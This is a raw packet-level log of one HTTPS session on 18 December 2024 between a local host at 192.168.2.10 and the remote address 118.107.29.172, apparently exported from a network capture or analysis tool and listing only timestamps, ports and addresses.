Dec 18, 2024 13:21:22.609117985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.609126091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.609138012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.609163046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.797198057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.797219038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.797287941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.797327995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.797369003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.801759005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.801778078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.801831007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.801841021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.801867962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.801887035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.807760954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.807846069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.807878971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.807885885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.807918072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.807934999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.813152075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.813221931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.813240051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.813249111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.813282013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.813301086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.820679903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.820736885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.820776939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.820784092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.820810080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.820831060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.825376034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.825402975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.825473070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.825529099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:22.825587988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:22.825587988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.013125896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.013173103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.013212919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.013231993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.013259888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.013271093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.019619942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.019640923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.019680977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.019686937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.019709110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.019728899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.024657965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.024686098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.024720907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.024736881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.024749041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.024785042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.030554056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.030574083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.030623913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.030628920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.030642986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.030672073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.035693884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.035713911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.035769939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.035775900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.035801888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.035813093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.042268991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.042294025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.042376041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.042381048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.042418003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.226744890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.226772070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.226845980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.226861954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.226881981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.226963043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.232454062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.232472897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.232549906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.232556105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.232600927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.238748074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.238765955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.238812923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.238816977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.238831997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.238846064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.243443012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.243465900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.243532896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.243537903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.243568897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.243582964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.250130892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.250149012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.250195980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.250200987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.250227928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.250247955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.254760027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.254776955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.254817963 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.254827023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.254848957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.254864931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.261342049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.261360884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.261429071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.261434078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.261470079 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.439491034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.439522982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.439683914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.439699888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.439742088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.445424080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.445446968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.445523024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.445528030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.445565939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.451616049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.451637030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.451711893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.451716900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.451750994 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.456551075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.456583023 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.456651926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.456655979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.456698895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.462476969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.462495089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.462574005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.462578058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.466427088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.467142105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.467160940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.467217922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.467221975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.470433950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.473875999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.473902941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.473948956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.473953962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.473990917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.650022984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.650054932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.650115967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.650134087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.650145054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.650167942 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.656795025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.656822920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.656889915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.656896114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.657195091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.661470890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.661500931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.661547899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.661551952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.661580086 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.661592960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.666101933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.666127920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.666182995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.666188002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.668602943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.672332048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.672360897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.672427893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.672431946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.672451019 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.672463894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.677967072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.677992105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.678034067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.678037882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.678076982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.684163094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.684194088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.684261084 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.684264898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.684297085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.689579964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.689606905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.689666986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.689671040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.689711094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.842008114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.842046022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.842097044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.842113972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.842133045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.842149973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.866189957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.866216898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.866257906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.866264105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.866286039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.866313934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.871396065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.871414900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.871464014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.871468067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.871504068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.876976967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.876998901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.877037048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.877041101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.877055883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.877070904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.883236885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.883254051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.883290052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.883294106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.883326054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.888653040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.888673067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.888719082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.888722897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.888804913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.894198895 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.894217014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.894258022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.894260883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.894295931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.894314051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.899290085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.899310112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.899348021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:23.899350882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:23.899385929 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.034550905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.034583092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.034621000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.034627914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.034661055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.056575060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.056607962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.056652069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.056655884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.056689024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.056699991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.080120087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.080148935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.080216885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.080225945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.080248117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.080262899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.085488081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.085520983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.085614920 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.085618973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.085663080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.091784954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.091809988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.091845036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.091850996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.091892004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.096906900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.096930027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.097007036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.097018003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.097176075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.102052927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.102077007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.102116108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.102124929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.102164030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.108382940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.108405113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.108458042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.108468056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.108484983 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.108505964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.113452911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.113473892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.113534927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.113542080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.113687038 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.233136892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.233171940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.233238935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.233258963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.233284950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.233303070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.254566908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.254596949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.254643917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.254651070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.254682064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.254698038 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.278539896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.278568029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.278639078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.278645992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.278702021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.305191040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.305222034 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.305262089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.305278063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.305303097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.305315971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.310342073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.310370922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.310410976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.310415983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.310472012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.316302061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.316329002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.316365004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.316373110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.316401005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.316421032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.322412014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.322438002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.322479963 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.322484970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.322514057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.322535992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.327208042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.327236891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.327282906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.327286959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.327317953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.327327967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.421034098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.421061993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.421180010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.421195984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.421262980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.442701101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.442723989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.442795992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:24.442800999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:24.442895889 CET	49723	443	192.168.2.10	118.107.29.172
